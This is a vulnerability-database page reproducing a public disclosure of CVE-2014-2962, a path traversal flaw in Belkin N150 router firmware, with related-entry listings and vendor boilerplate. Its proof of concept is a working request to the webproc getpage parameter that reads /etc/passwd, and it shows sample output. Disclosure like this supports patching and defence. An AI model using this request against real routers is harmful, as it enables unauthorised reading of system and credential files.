Vulners
Lucene search
Belkin Router N150 1.00.08, 1.00.09 - Path Traversal Vulnerability
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | CVE-2014-2962 | 19 Jun 201410:00 | – | cve |
 | CVE-2014-2962 | 19 Jun 201410:00 | – | cvelist |
 | Belkin N150 Router 1.00.08/1.00.09 - Path Traversal | 17 Jun 202605:14 | – | nuclei |
 | CVE-2014-2962 | 19 Jun 201410:50 | – | nvd |
 | Belkin Router Directory Traversal Vulnerability (Oct 2015) - Active Check | 29 Oct 201500:00 | – | openvas |
 | Path traversal | 19 Jun 201410:50 | – | prion |
 | Belkin N150 path traversal vulnerability | 18 Jun 201400:00 | – | cert |
# Title: Path Traversal Vulnerability
# Product: Belkin Router N150
# Author: Rahul Pratap Singh
# Website: https://0x62626262.wordpress.com
# Contact:
Linkedin: https://in.linkedin.com/in/rahulpratapsingh94
Twitter: @0x62626262
# Vendor Homepage: http://www.belkin.com
# Firmware Tested: 1.00.08, 1.00.09
# CVE: 2014-2962
Description:
Belkin N150 wireless router firmware versions 1.00.07 and earlier contain a
path traversal vulnerability through the built-in web interface. The
webproc cgi
module accepts a getpage parameter which takes an unrestricted file path as
input. The web server runs with root privileges by default, allowing a
malicious attacker to read any file on the system.
A patch was released by Belkin but that is still vulnerable.
POC:
http://192.168.2.1/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo
#root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh
#tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh
Ref:
https://www.kb.cert.org/vuls/id/774788
https://0x62626262.wordpress.com/category/full-disclosure/
# 0day.today [2018-03-01] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Oct 2015 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.47374